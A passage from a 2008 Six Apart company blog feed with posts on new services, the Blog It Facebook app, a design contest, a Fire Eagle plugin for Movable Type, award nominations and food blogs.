presence online. The chanegs since then, though, highlight an important new opportunity: <span class="Apple-style-span" style="font-weight: bold;">Personal websites aren't vanishing, they're evolving.</span> We simply won't let something so important and essential to the web disappear.</div></div> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=W3FYgH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=W3FYgH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=D1FaQH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=D1FaQH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=1dkm8H"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=1dkm8H" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=0XbEGh"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=0XbEGh" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870239" height="1" width="1"/> http://www.sixapart.com/blog/2008/04/hell-no-personal-sites-arent-d.html In The Great Cities of the World... tag:www.sixapart.com,2008:/blog//1.3865 2008-04-28T18:19:09Z 2008-04-28T19:54:26Z There are many incredible cities around the world that are known for leadership in culture, finance, the arts, or technology. But any list of the world's great cities would certainly include Tokyo, Paris, New York and San Francisco. That's why... Anil Dash http://www.anildash.com/ There are many incredible cities around the world that are known for leadership in culture, finance, the arts, or technology. But any list of the world's great cities would certainly include Tokyo, Paris, New York and San Francisco. That's why we're so proud to have a Six Apart presence in all of these cities, and in so many places in between.<div><br /></div><div style="text-align: center;"><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="sixapart-locations-map-2.png" src="http://www.sixapart.com/blog/images/sixapart-locations-map-2.png" width="300" height="187" class="mt-image-center" style="text-align: center; display: block; margin: 0 auto 20px;" /></span></div><div>What's been amazing to see is that, despite the differences in language, culture, and community in each city, our team has kept some common traits that seem to be universal. There are some serious geeks in every office, hacking on the latest technology, and they work alongside amazingly talented business people, passionate designers, and of course dedicated bloggers. Every office also seems to feature a few multi-lingual superstars who speak two or three or four of the languages that we do business in.</div><div><br /></div><div>Surprisingly, Six Apart people worldwide aren't just smart, they're also often smart-asses, too, with a sarcastic but still playful and fun sense of humor in all of our offices. Whether it's loving good food or playing Nintendo games or trading cycling tips or sharing music recommendations or just keeping tabs on the latest in the blogosphere, the connections between each of our offices go well beyond the usual stuff like technology or business planning, and into some really great human connections about what we find in common regardless of culture. (It probably helps that we have a ton of blogs inside the company and on the public web that keep us in touch.)</div><div><br /></div><div>As you'd expect, each of our offices has its own web presence, too. They each reflect the personality and focus of our various teams, with a unique local flavor.</div><div><br /></div><div><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="sites-eu-jp.png" src="http://www.sixapart.com/blog/images/sites-eu-jp.png" width="400" height="180" class="mt-image-center" style="text-align: center; display: block; margin: 0 auto 20px;" /></span></div><div>You don't have to take our word for  it -- you can see for yourself on our various sites:</div><div><ul><li><a href="http://europe.sixapart.com/">Six Apart Europe Information Center</a>, from our team based in Paris</li><li><a href="http://sixapart.jp/">Six Apart Japan</a>, from Tokyo</li><li><a href="http://apperceptive.com/blog/">Apperceptive Blog</a>, from the team that's become our new New York office</li></ul><div>And of course, our <a href="http://www.sixapart.com/blog/">Six Apart blog</a> that's the voice of our world headquarters has recently been completely redesigned, too. We'd be remiss if we didn't mention that <a href="http://www.sixapart.com/about/jobs/">we're hiring</a>, but perhaps the greatest thing about having a worldwide presence for Six Apart is that it's made our products better, made our business stronger, and most importantly made our company an even more exciting and inspiring place to work for those of us who get to collaborate with our coworkers all around the world.</div></div> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=wo4HUH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=wo4HUH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=gfSZgH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=gfSZgH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=ZHq21H"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=ZHq21H" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=ZUqEyh"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=ZUqEyh" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870240" height="1" width="1"/> http://www.sixapart.com/blog/2008/04/in-the-great-cities-of-the-wor.html At Your Service: The Next Evolution of Six Apart tag:www.sixapart.com,2008:/blog//1.3847 2008-04-21T08:12:10Z 2008-06-06T19:29:32Z Five years ago this week, we announced one of the biggest milestones in our company history, including the creation of TypePad and our transformation from two bloggers with a powerful platform to a company dedicated to bringing the power of... Anil Dash http://www.anildash.com/ Five years ago this week, <a href="http://www.sixapart.com/blog/2003/04/six_apart_miles.html">we announced</a> one of the biggest milestones in our company history, including the creation of TypePad and our transformation from two bloggers with a powerful platform to a company dedicated to bringing the power of blogging to the world. Back then, we built our business by offering simple services like installation of blogging software, or by providing access to the Recently Updated list (which still lives on the <a href="http://www.movabletype.com/">Movable Type homepage</a>) to help promote your content. And all of this was enhanced by being the first company to really dedicate itself to provide world-class support for blogging software. In short, we complemented our core technologies with services aimed at <strong>helping you launch a blog</strong>, <strong>ensuring the success of your blog</strong> and <span class="Apple-style-span" style="font-weight: bold;">backing it with professional support</span> once it was launched.<div><br /></div><div>Today, we make a return to those roots, but in a way that's evolved just as much as blogging has in the past five years. Thanks in no small part to our amazing community of users, blogs have become the core of social communications online, powering rich communities and enabling publishers to connect with audiences in new ways. So today, we're connecting with our blogging community in two new ways with the launch of <a href="http://www.sixapart.com/services/">Six Apart Services</a> and <a href="http://www.sixapart.com/advertising/">Six Apart Media</a>.</div><div><br /></div><h3>Six Apart Services: Building the Best Blogs</h3><div>Six Apart Services offers design, development, implementation and integration services to build blog-powered communities for publishers, companies, and major bloggers. Our services team is dedicated to bringing all the power of social communication to <span class="Apple-style-span" style="font-style: italic;">every</span> blogging community, using Six Apart platforms in connection with all of today's leading web technologies. The best part is, we're not starting from scratch with our services effort, we're starting with the best.</div><div><br /></div><div><img alt="Six Apart Office Locations" src="http://www.sixapart.com/images/home/sixapart-office-locations.gif" width="134" height="72" style="float : right; padding : 10px;" />The core of the Six Apart Services team comes to us from <a href="http://www.apperceptive.com/">Apperceptive</a>, the renowned New York City experts who've helped build amazing blog-powered communities for sites including The Washington Post, The Huffington Post, BoingBoing, Major League Baseball, iVillage, Gothamist, Serious Eats and many more. You can see just <span class="Apple-style-span" style="font-style: italic;">some</span> of their clients <a href="http://www.apperceptive.com/what/">listed on their site</a>. Just as exciting, the Apperceptive acquisition marks the opening of our New York location, which adds the latest to the list of great cities of the world which have Six Apart offices, including San Francisco, Paris and Tokyo. (Did we mention <a href="http://www.sixapart.com/about/jobs/">we're hiring</a>?)</div><div><br /></div><div>The Six Apart Services team includes some of the most talented blogging developers and consultants, not just in the Movable Type or TypePad communities, but in the world. And they'll be working closely with the Professional Network community where they got their start, to help grow the entire market for blog consulting and implementation services.</div><div><br /></div><h3>Six Apart Media: Making Your Blog a Success</h3><div>To complement the blog-building power of Six Apart Services, we've also created a new group dedicated to ensuring your success as a blogger: Six Apart Media. As a company founded by bloggers, <i>for</i> bloggers, we know better than anyone else that there are as many definitions of "success" as there are blogs. So we've come up with a powerful suite of services to help your site kick butt.</div><div><br /></div><div>There's a new <a href="http://www.sixapart.com/advertising/">premium advertising program</a> that offers more control over the advertising on your blog, and our goal is to help you produce more revenue than the simple ubiquitous text ads that you might otherwise be using. Plus, <b>you don't have to use Six Apart blogging tools</b> to profit from our advertising program. But you <span class="Apple-style-span" style="font-style: italic;">may</span> have to be patient -- we're rolling the program out gradually to make sure we take good care of our bloggers and advertisers as we get started.</div><div><br /></div><div><img src="http://www.sixapart.com/images/advertising/adver-screenshot-2.gif" width="144" height="106" alt="Design to Inspire" style="float :right; padding : 10px;" />That brings up an important point about our advertising program: We have a unique understanding of how blogging works, and that makes us a better partner for advertisers, too. You can read exactly <a href="http://www.sixapart.com/advertising/media-solutions-for-advertisers/">why we're better for advertisers</a>, but the bottom line is that we've got years of expertise as leaders in the blogging industry, and that lets us combine blogs with social media, social networking and advertising in a way that only native bloggers can.</div><div><br /></div><div>Of course, success isn't just about money. For many bloggers, the goal is traffic or influence or simply a connection to a community. So we're creating a suite of VIP services aimed at helping you achieve <span class="Apple-style-span" style="font-style: italic;">your</span> goals, using our tools and expertise. Combined with our new offerings as part of Six Apart Services, it's a dramatic expansion of the professional support offering that's always distinguished Six Apart products.<br /></div><div><br /></div><div><span class="Apple-style-span" style="font-size: 18px; ">A Return To Our Roots</span></div><div><br /></div><div>As we mentioned, this is in some way a return to our roots: We're going far beyond just having the best blogging platforms around, and are determined to meet our obligation to serve <span class="Apple-style-span" style="font-style: italic;">every</span> blogger. Our community deserves nothing less for having helped make us the most successful company in blogging worldwide.</div><div><br /></div><div>But this is also about showing that, even five years after we dedicated ourselves to the idea of building a company that makes great blogging tools, we're <span class="Apple-style-span" style="font-weight: bold;">more passionate than ever about the power of blogging</span>. You can see it in innovative technology efforts like <a href="http://www.sixapart.com/blog/2008/01/time_for_action.html">Action Streams</a>, unique features like our <a href="http://www.typepad.com/features/mobile.html">mobile and iPhone applications</a>, or exciting new <a href="http://www.sixapart.com/blog/2008/04/bringing_bloggi.html">open applications</a> like <a href="http://www.typepad.com/features/blogit.html">Blog It</a>. It's there in the firm commitments we've made to <a href="http://everything.typepad.com/blog/2008/01/index.html">making 2008 TypePad's best year ever</a>, and investing in making Movable Type even more <a href="http://www.sixapart.com/blog/2008/02/mt_in_2008_open.html">open, powerful and easy</a>. You can even find it in our <a href="http://www.sixapart.com/blog/2008/03/designing_to_in.html">renewed embrace of great design</a> and that little bit of competitive fire that fuels our work.</div><div><br /></div><div>We want to honor the incredible, inspirational efforts of bloggers who've motivated us over the years by once again reinventing part of Six Apart in a way that stays true to our roots as bloggers. So today, we're adding new services that we know will enable even more people and organizations tap into the power of blogging. Now we hope you'll let us know how we can be of service.</div><div><br /></div> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=WOuTCH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=WOuTCH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=dSMAnH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=dSMAnH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=TffTiH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=TffTiH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=oXmtvh"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=oXmtvh" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870241" height="1" width="1"/> http://www.sixapart.com/blog/2008/04/six-apart-services-media.html Bringing Blogging To Your Social Networks tag:sixapart.apperceptive.com,2008:/blog//1.1002 2008-04-16T02:29:49Z 2008-07-10T00:02:43Z First, we brought all your social networks to your blog with Action Streams. Today, we start to complete the circle. Ever stopped to think about how many places on the web you post about your life? For many of us,... David Recordon http://www.davidrecordon.com/ <p>First, we brought all your social networks to your blog with <a href='http://www.sixapart.com/about/news/2008/01/time_for_action.html'>Action Streams</a>. Today, we start to complete the circle.</p> <p>Ever stopped to think about how many places on the web you post about your life? For many of us, we're posting on multiple blogs, as well as Facebook, Twitter and Pownce. That's a lot of time spent just to make sure all of our friends and family across the web are caught up on our lives. And while it's incredibly important to stay connected to everyone, at Six Apart, we don't think it should have to be quite so complicated to do so. That is why tonight we've taken another step in our ongoing effort to create better tools for bloggers, no matter what publishing platforms you use. We want to <strong>make blogging better for everyone</strong>.</p> <p>We are excited to launch the first cross-platform blogging application for Facebook -- <a href='http://www.typepad.com/features/blogit.html'>Blog It Powered by TypePad</a>. We think Blog It brings some of the best social aspects of Facebook to blogging, making it easy to blog from within Facebook and tell people you know all around the web that you're doing so. It doesn't matter if you blog using our products or not; we support bloggers on Blogger, LiveJournal, Movable Type, Pownce, Tumblr, TypePad, Twitter, Vox, WordPress.com and WordPress.org!</p> <p>Plus, after you've posted using Blog It, you can choose to automatically share your post via Twitter and Pownce, in addition to the Facebook Newsfeed. While a lot of other Facebook applications rely solely on the Newsfeed to share your activity, we think that Blog It is unique in that it helps you tell everyone you know across the web about what you're creating, not just your Facebook friends. Bloggers, such as <a href='http://www.hungryfrenchman.com/'>our own Alex Deve</a>, have seen a significant increase in traffic when they tell their friends on Twitter about their new posts.</p> <p>Ready to try it out? Just add the <a href='http://www.facebook.com/apps/application.php?id=14103720714'>Blog It application on Facebook</a> and take a minute to setup your blogs. From there you can create new blog posts and share them with your friends on Facebook, Twitter, and Pownce all just by checking a few extra boxes. Or if you're not convinced yet then sit back, break out the pop corn and watch this short movie...</p> <p><center><object width="425" height="355"> <param name="movie" value="http://www.typepad.com/"></param> <param name="wmode" value="transparent"></param><embed src="http://sitehome.typepad.com/video/screencast_blogit.swf" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></center></p> <p>You can learn more about Blog It at <a href='http://www.typepad.com/features/blogit.html'>http://www.typepad.com/features/blogit.html</a> or read <a href='http://www.sixapart.com/about/press/2008/04/six_apart_launc_6.html'>the press release</a> we'll be putting out in the morning.</p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=G0g9RH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=G0g9RH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=47zdUH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=47zdUH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=2jdFkH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=2jdFkH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=8lIP2h"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=8lIP2h" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870243" height="1" width="1"/> http://www.sixapart.com/blog/2008/04/bringing-bloggi.html Designing to Inspire tag:sixapart.apperceptive.com,2008:/blog//1.1003 2008-03-17T23:06:15Z 2008-04-18T22:03:07Z From our recent launch of the Design Assistant for Movable Type and TypePad to the announcement of tons of new themes for TypePad users, we’ve been extremely focused on design for bloggers this year. Today, we’re thrilled to present the... Anil Dash http://www.anildash.com/ <p>From our recent launch of the <a href="http://www.movabletype.org/design/assistant/">Design Assistant for Movable Type</a> and <a href="http://www.typepad.com/go/design-assistant/">TypePad</a> to the announcement of <a href="http://everything.typepad.com/blog/2008/03/new-themes-cour.html">tons</a> of <a href="http://everything.typepad.com/blog/2008/02/preview-the-15.html">new themes</a> for TypePad users, we&#8217;ve been extremely focused on design for bloggers this year. Today, we&#8217;re thrilled to present the next step in our effort to improve the state of design in the blogosphere: <a href="http://www.designtoinspirecontest.com/">What do you have to say? contest</a>.</p> <p><img alt="Design to Inspire" src="http://www.sixapart.com/about/news/design-to-inspire.jpg" width="258" height="162" style="float : right; padding : 10px;" /></p> <p>We&#8217;re calling out to the design community online to create new banners and themes for use on TypePad, Vox and LiveJournal blogs, and enter in the running for HP gift certificates of <strong>up to $1000</strong> in value.</p> <p>At Six Apart, our platforms power every kind of blog, from individuals blogging for friends and family to small businesses or enthusiasts writing about their areas of expertise to some of the biggest media companies in the world. And one thing we think <em>every</em> kind of blogger deserves is the best design on the web. So we&#8217;re excited to have HP as a contest sponsor as the next step to encouraging the creation of beautiful new designs for your blog</p> <p>You can start submitting your design entries in the contest today, with a final deadline of April 4. After that, we&#8217;ll move to the voting and judging phases of the competition with a goal of determining a final winner on April 22.</p> <p>So <a href="http://www.designtoinspirecontest.com/">get started</a> &#8212; show the world your design chops, and get in the running for some amazing prizes from HP.</p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=fF7fSH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=fF7fSH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=G4okVH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=G4okVH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=4BfVRH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=4BfVRH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=88YBwh"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=88YBwh" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870244" height="1" width="1"/> http://www.sixapart.com/blog/2008/03/designing-to-in.html Yahoo! Fire Eagle for Movable Type tag:sixapart.apperceptive.com,2008:/blog//1.1004 2008-03-12T13:03:08Z 2008-07-10T00:03:31Z I've been interested in geo-location stuff for a long time now. Even back in 2003, when we launched TypePad, we built in support for parsing photo EXIF data to look for latitude and longitude embedded by a camera or mobile... Ben Trott http://ben.stupidfool.org/ <p>I've been interested in geo-location stuff for a long time now. Even back in 2003, when we launched <a href="http://www.typepad.com/">TypePad</a>, we built in support for parsing photo EXIF data to look for latitude and longitude embedded by a camera or mobile phone. Of course, at the time, only a couple of phone models in Japan, as well as (apparently) high-end digital cameras, could record GPS data on photos taken by the device.</p> <p>A couple of years later, I bought a GPS device, connected it over Bluetooth to my mobile phone, and wrote some server software to track my location; I also wrote Python client software for my phone (hooray for <a href="http://opensource.nokia.com/projects/pythonfors60/">Python for s60</a>!) to take a photo, collect my current location, and send the whole mess up to my TypePad moblog.</p> <p>There were a number of problems with every setup I've ever tried, though, ranging from the setup being too clunky (I quickly tired of carrying around a GPS device) to not wanting to share my location in detail with the entire world. Most importantly, though, was that there just wasn't much I could <em>do</em> with the data, once I had it: I could map it, but it wasn't hooked in to my online identity in any useful way.</p> <div style='float: right;'><a href='http://plugins.movabletype.org/fire-eagle-for-movable-type/Picture%201.png' style="text-decoration : none; border : none;"><img src='http://plugins.movabletype.org/fire-eagle-for-movable-type/Picture%201-100h.png'></a></div> <p>So I was really excited last week to see the launch of Yahoo!'s <a href="http://fireeagle.yahoo.net/">Fire Eagle</a> service, which is simple, privacy-aware, and most importantly, is now hooked in to <a href="http://www.movabletype.com/">Movable Type</a>, using the <a href="http://plugins.movabletype.org/fire-eagle-for-movable-type/">new Fire Eagle plugin for MT</a>. This <strong>makes my MT profile location-aware</strong>: I can add a map of my current location; changes to my location are added to my <a href="http://www.sixapart.com/about/news/2008/01/time_for_action.html">Action Stream</a>; and other MT plugins can build off of the location to provide additional location-sensitive features. You can see it in action -- combined with the Action Stream plugin -- on <a href="http://www.davidrecordon.com/">David's site</a>.</p> <p>Another interesting aspect of the Fire Eagle API is that it uses the new <a href='http://oauth.net/'>OAuth standard</a> for all API requests. We've <a href="http://www.sixapart.com/about/news/2007/10/oauth_share_you.html">written about OAuth in the past</a> and are really excited to see Yahoo! supporting it. To help do our part in the adoption of this open standard, we'll be shipping the Perl OAuth library with the next release of Movable Type so that no plugin developer needs to worry if they'll be able to develop atop OAuth with MT.</p> <p>If you need a Fire Eagle invite, leave a comment and we'll email you one.</p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=i3rSCH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=i3rSCH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=kn4gxH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=kn4gxH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=lFeZVH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=lFeZVH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=QY8yCh"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=QY8yCh" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870245" height="1" width="1"/> http://www.sixapart.com/blog/2008/03/yahoo-fire-eagle-for-movable-type.html "This is something many didn't even dream of." tag:sixapart.apperceptive.com,2008:/blog//1.1005 2008-03-03T11:49:10Z 2008-04-18T22:03:07Z As we have been saying for some time, we take design incredibly seriously at Six Apart. In that post, we were talking about empowering bloggers to have complete control over their blog designs. Today we take that next step in... Anil Dash http://www.anildash.com/ <p>As we <a href="http://www.sixapart.com/about/news/2008/02/teaching_bloggers_to_fish.html">have been saying for some time</a>, we take design incredibly seriously at Six Apart. In that post, we were talking about empowering bloggers to have complete control over their blog designs. Today we take that next step in educating bloggers about design by combining the most powerful set of design tools available with the <strong>largest set of blog themes on any hosted blogging platform</strong> and making them all available as a free upgrade to all of our TypePad members. And you don&#8217;t even have to be a TypePad member to get a look at some of the amazing new design capabilities.</p> <p><a href="http://www.typepad.com/go/design-assistant/" style="border : 0; text-decoration : none;"><img alt="TypePad Design Assistant" src="http://www.movabletype.org/images/tp-design-assistant.jpg" width="489" height="196" /></a></p> <p>The new themes on the TypePad service follow up on a <a href="http://everything.typepad.com/blog/2008/01/a-bright-new-ty.html">commitment made by all of us at Six Apart</a> from our CEO down, to making 2008 TypePad&#8217;s best year ever. That commitment was met with an immediate response from hundreds of you in the community, and you echoed back a clear desire for more and better designs for your TypePad blog. In just the next few weeks:</p> <ul> <li>Hundreds of you responded to <a href="http://everything.typepad.com/blog/2008/02/results-of-the.html">the design poll</a>, choosing which themes you&#8217;d like to see first.</li> <li>We followed up with <a href="http://everything.typepad.com/blog/2008/02/lovely-new-styl.html">a collection of seasonally-themed Photo Album designs</a>.</li> <li>And finally, we delivered <a href="http://everything.typepad.com/blog/2008/02/fifteen-bold-ne.html">the first fifteen</a> professionally-designed theme variations that you asked for.</li> </ul> <p>Which brings us to today. TypePad has <strong>over 100 themes</strong>, dozens more than any other service. And the Design Assistant <a href="http://www.movabletype.org/2008/02/movable-type-design-assistant.html">introduced by our Movable Type team</a> has now been <a href="http://www.typepad.com/go/design-assistant/">launched for TypePad</a>, and you can use it right now &#8212; <strong>even if you aren&#8217;t a TypePad subscriber yet</strong>. Dig into it, and get a feel for the flexibility, the breadth, and the customizability that TypePad is all about. The initial launch of the Design Assistant inspired the quote that titles this post: &#8220;This is something many didn&#8217;t even dream of.&#8221; Isn&#8217;t that the kind of response great design is supposed to inspire?</p> <p>Put simply, we want to make it dead simple to make a beautiful blog that is as personalized as the ideas that you publish.</p> <p>And of course, we couldn&#8217;t focus on design without throwing in a little bit of eye candy, too. Ever since we started previewing our new <a href="http://www.typepad.com/features/design.html">design overview page</a>, people have been tickled by the <a href="http://en.wikipedia.org/wiki/Cover_Flow">Cover Flow</a>-style carousel of themes that you can scroll through. It might even help inspire you to pick a new theme for your own blog.</p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=jN1IUH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=jN1IUH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=PWlZxH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=PWlZxH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=4cLEmH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=4cLEmH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=EWddhh"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=EWddhh" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870246" height="1" width="1"/> http://www.sixapart.com/blog/2008/03/this-is-somethi.html Movable Type, TypePad and Vox nominated for Webware 100 Awards tag:sixapart.apperceptive.com,2008:/blog//1.1006 2008-02-29T22:31:21Z 2008-04-18T22:03:07Z Movable Type, TypePad, and Vox have all been selected as finalists in the 2008 Webware 100 Awards! In case you're not familiar with it, Webware 100 is CNET's yearly awards program where users nominate and then vote for their favorite... Ginger Tulley <p><img alt="webware100-08-finallogo-tall.jpg" src="http://www.sixapart.com/about/news/webware100-08-finallogo-tall.jpg" width="134" height="148" align="right" />Movable Type, TypePad, and Vox have all been selected as finalists in the <a href="http://www.webware.com/8300-1_109-2-0.html?keyword=Webware+100+2008">2008 Webware 100 Awards</a>! In case you're not familiar with it, Webware 100 is CNET's yearly awards program where users nominate and then vote for their favorite Web 2.0 applications and sites. </p> <p>Our three platforms are nominated in the "Publishing and Photography" category. Whether you’re a blogger or a reader, we really hope you’ll take the time to <a href="http://www.webware.com/8300-1_109-2-0.html?keyword=Webware+100+2008">VOTE</a> and let the world know how much you love Six Apart’s blogging solutions.<br /> <br /> You can vote three times in each category, so be sure to give your three votes to <a href="http://www.movabletype.com">Movable Type</a>, <a href="http://www.typepad.com">TypePad</a> and <a href="http://www.vox.com">Vox</a>. (Everyone here at <a href="http://www.sixapart.com">Six Apart</a> will be forever grateful!)</p> <p>Voting is open until March 31, 2008, and the winners will be announced on April 21, 2008.</p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=YfQ76H"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=YfQ76H" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=FoT1uH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=FoT1uH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=Gv10sH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=Gv10sH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=wy6Bmh"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=wy6Bmh" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870247" height="1" width="1"/> http://www.sixapart.com/blog/2008/02/all-three-six-a.html Delicious! Gourmet Visits the Food Blogosphere tag:sixapart.apperceptive.com,2008:/blog//1.1007 2008-02-18T22:57:26Z 2008-04-18T22:03:07Z Gourmet’s TV series “Diary of a Foodie” is a record of people documenting their passion for food, so it’s only natural that they’ve chosen to focus on food blogging this week — food blogs are where all the most passionate... Anil Dash http://www.anildash.com/ <p>Gourmet&#8217;s TV series &#8220;Diary of a Foodie&#8221; is a record of people documenting their passion for food, so it&#8217;s only natural that they&#8217;ve chosen to focus on food blogging this week &#8212; food blogs are where all the most passionate foodies are sharing their thoughts and their tables.</p> <p><img alt="Chez Pim" src="http://www.sixapart.com/about/news/chezpim.png" width="279" height="248" style="float : right; padding ; 10px;" /> In the episode, which you can <a href="http://www.gourmet.com/diaryofafoodie/video/2008/01/206_bloggers_preview">preview on Gourmet&#8217;s site</a>, the producers have documented some of the leading lights of the food blogosphere, from Hong Kong to Hanoi, to two of the cities Six Apart calls home, Paris and San Francisco. And every single one of the blogs featured is powered by Movable Type or TypePad. Once you&#8217;ve <a href="http://www.gourmet.com/diaryofafoodie/season2/season2?currentPage=2">checked out the show</a>, here are just some of our food bloggers you&#8217;ll want to sample:</p> <ul> <li><a href="http://stickyrice.typepad.com/my_weblog/2008/02/gourmets-diary.html">Sticky Rice</a>, where Mark Lowry documents his culinary adventures in Hanoi.</li> <li><a href="http://www.chezpim.com/blogs/2008/02/gourmets-diary.html">Chez Pim</a>, Pim Techamuanvivit&#8217;s signature take on food from the Bay Area and beyond.</li> <li><a href="http://chaxiubao.typepad.com/">Cha Xiu Bao</a>, Josh Tse&#8217;s story of his delicious discoveries around Hong Kong.</li> <li><a href="http://www.davidlebovitz.com/archives/2008/02/diary_of_a_food.html">David Lebovitz</a>, the eponymous diary of a Parisian foodie.</li> </ul> <p>There are <a href="http://featured.typepad.com/blogs/food_and_drink/index.html">dozens more food blogs on TypePad</a>, if you want to get a taste for the food blogosphere, and of course you can <a href="http://www.typepad.com/">sign up yourself</a> and tell the world what&#8217;s cooking.</p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=I9UI9H"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=I9UI9H" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=guOzIH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=guOzIH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=9CAVZH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=9CAVZH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=ZNSwuh"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=ZNSwuh" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870248" height="1" width="1"/> http://www.sixapart.com/blog/2008/02/delicious-gourm.html Teaching Bloggers To Fish tag:sixapart.apperceptive.com,2008:/blog//1.1008 2008-02-12T16:40:01Z 2008-07-10T00:05:41Z We take design incredibly seriously at Six Apart -- the challenge of understanding constraints and working within them to make something beautiful, the thrill of seeing a final product that "just works", and the quiet satisfaction of knowing that you... David Recordon http://www.davidrecordon.com/ <p>We take design incredibly seriously at Six Apart -- the challenge of understanding constraints and working within them to make something beautiful, the thrill of seeing a final product that "just works", and the quiet satisfaction of knowing that you chose substance over flash and it worked out for the best. Movable Type, TypePad, and Vox provide hundreds of themes and styles ranging from something professional to something intricately elaborate, with many customizable choices in between. We do this to give you <b>freedom of expression and complete control</b> over your blog.</p> <p>All of that is in the back of our heads when we think about how our tools can advance the state of design on the web. Forgive the cliché, but we don't want to just give people a fish, we want to <em>teach them how to fish</em>. It's easy to make tools to create a design, but it's far harder to create tools that help you get in the mindset of making good tradeoffs.</p> <p>So today we bring you the <a href='http://www.movabletype.org/design/assistant/'>Design Assistant for Movable Type</a>. Sure, you can click through it and knock out a cool custom design really quickly. But along the way, you'll start to see how a few common grid/column layouts can impact the way your content is perceived. The Assistant creates finished designs, but you're also encouraged to click on individual page elements and understand the CSS cascade that informs their styling. The last step isn't merely when a particular design is applied to your blog -- the last step is actually the <em>start</em> of learning more, from a broad 